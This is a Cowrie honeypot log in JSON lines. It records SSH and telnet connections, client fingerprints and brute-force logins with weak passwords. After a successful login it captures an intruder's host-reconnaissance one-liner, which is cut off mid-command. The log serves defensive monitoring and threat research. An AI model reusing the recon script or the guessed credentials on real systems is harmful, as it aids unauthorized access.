{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","size":81,"shasum":"28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:39:58.120776Z","src_ip":"209.99.190.113","session":"f0d817341488","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:39:58.271016Z","src_ip":"209.99.190.113","session":"f0d817341488","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"whoami","message":"CMD: whoami","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:39:58.273907Z","src_ip":"209.99.190.113","session":"f0d817341488","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1","size":6,"shasum":"f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:39:58.474195Z","src_ip":"209.99.190.113","session":"f0d817341488","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:39:58.625161Z","src_ip":"209.99.190.113","session":"f0d817341488","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"lscpu | grep Model","message":"CMD: lscpu | grep Model","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:39:58.628058Z","src_ip":"209.99.190.113","session":"f0d817341488","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851","size":26,"shasum":"afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:39:58.829125Z","src_ip":"209.99.190.113","session":"f0d817341488","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:39:58.976787Z","src_ip":"209.99.190.113","session":"f0d817341488","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'","message":"CMD: df -h | head -n 2 | awk 'FNR == 2 {print $2;}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:39:58.979460Z","src_ip":"209.99.190.113","session":"f0d817341488","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e","size":66,"shasum":"09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:39:59.082584Z","src_ip":"209.99.190.113","session":"f0d817341488","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"10.6","message":"Connection lost after 10.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:39:59.086866Z","src_ip":"209.99.190.113","session":"f0d817341488","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.174.22","src_port":57234,"dst_ip":"159.203.135.109","dst_port":22,"session":"ff166f43b370","protocol":"ssh","message":"New connection: 160.187.174.22:57234 (159.203.135.109:22) [session: ff166f43b370]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:40:00.010547Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:40:00.017299Z","src_ip":"160.187.174.22","session":"ff166f43b370","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:40:00.273040Z","src_ip":"160.187.174.22","session":"ff166f43b370","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"!Qaz@Wsx","message":"login attempt [root/!Qaz@Wsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:40:00.987912Z","src_ip":"160.187.174.22","session":"ff166f43b370","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:40:02.228865Z","src_ip":"160.187.174.22","session":"ff166f43b370","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.176.20.57","src_port":36524,"dst_ip":"159.203.135.109","dst_port":22,"session":"6a72c483e281","protocol":"ssh","message":"New connection: 103.176.20.57:36524 (159.203.135.109:22) [session: 6a72c483e281]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:40:15.986535Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:40:15.996259Z","src_ip":"103.176.20.57","session":"6a72c483e281","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:40:16.245122Z","src_ip":"103.176.20.57","session":"6a72c483e281","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"030289","message":"login attempt [root/030289] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:40:17.003185Z","src_ip":"103.176.20.57","session":"6a72c483e281","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:40:18.255993Z","src_ip":"103.176.20.57","session":"6a72c483e281","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"66.29.142.197","src_port":43344,"dst_ip":"10.17.0.5","dst_port":22,"session":"c4dabc84ba65","protocol":"ssh","message":"New connection: 66.29.142.197:43344 (10.17.0.5:22) [session: c4dabc84ba65]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:40:25.001620Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:40:25.007661Z","src_ip":"66.29.142.197","session":"c4dabc84ba65","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:40:25.071736Z","src_ip":"66.29.142.197","session":"c4dabc84ba65","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"curve123","message":"login attempt [root/curve123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:40:25.270724Z","src_ip":"66.29.142.197","session":"c4dabc84ba65","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:40:26.338652Z","src_ip":"66.29.142.197","session":"c4dabc84ba65","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.174.22","src_port":42304,"dst_ip":"159.203.135.109","dst_port":22,"session":"fc55f6f7cd45","protocol":"ssh","message":"New connection: 160.187.174.22:42304 (159.203.135.109:22) [session: fc55f6f7cd45]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:40:29.308509Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:40:29.313205Z","src_ip":"160.187.174.22","session":"fc55f6f7cd45","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:40:29.542708Z","src_ip":"160.187.174.22","session":"fc55f6f7cd45","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hadoop","password":"123456","message":"login attempt [hadoop/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:40:30.235544Z","src_ip":"160.187.174.22","session":"fc55f6f7cd45","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:40:31.467828Z","src_ip":"160.187.174.22","session":"fc55f6f7cd45","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.174.22","src_port":58964,"dst_ip":"159.203.135.109","dst_port":22,"session":"986ac1c9a7f5","protocol":"ssh","message":"New connection: 160.187.174.22:58964 (159.203.135.109:22) [session: 986ac1c9a7f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:40:58.505435Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:40:58.509328Z","src_ip":"160.187.174.22","session":"986ac1c9a7f5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:40:58.746357Z","src_ip":"160.187.174.22","session":"986ac1c9a7f5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tools","password":"tools123","message":"login attempt [tools/tools123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:40:59.457223Z","src_ip":"160.187.174.22","session":"986ac1c9a7f5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:41:00.698371Z","src_ip":"160.187.174.22","session":"986ac1c9a7f5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":54142,"dst_ip":"159.203.135.109","dst_port":23,"session":"e5b7cc47a815","protocol":"telnet","message":"New connection: 170.64.224.25:54142 (159.203.135.109:23) [session: e5b7cc47a815]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:41:03.757861Z"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.4","src_port":51486,"dst_ip":"10.17.0.5","dst_port":22,"session":"40d9a7d3bde6","protocol":"ssh","message":"New connection: 91.92.40.4:51486 (10.17.0.5:22) [session: 40d9a7d3bde6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:41:09.763729Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:41:09.769784Z","src_ip":"91.92.40.4","session":"40d9a7d3bde6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:41:09.853571Z","src_ip":"91.92.40.4","session":"40d9a7d3bde6","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"qwerty123","message":"login attempt [oracle/qwerty123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:41:10.145546Z","src_ip":"91.92.40.4","session":"40d9a7d3bde6","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:41:10.434661Z","src_ip":"91.92.40.4","session":"40d9a7d3bde6","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\"); arch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\"); uptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null); cpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null); cpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null ); last_output=$(last 2>/dev/null); filter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | head -c 250; printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | head -c 250; printf '\\n'; echo '===DONE===' ) 2>&1 ); echo \"UNAME:$uname\"; echo \"ARCH:$arch\"; echo \"UPTIME:$uptime\"; echo \"CPUS:$cpus\"; echo \"CPU_MODEL:$cpu_model\"; echo \"GPU:$gpu_info\"; echo \"LAST:$last_output\"; echo \"FILTER:$filter_output\"","message":"CMD: export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\"); arch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\"); uptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 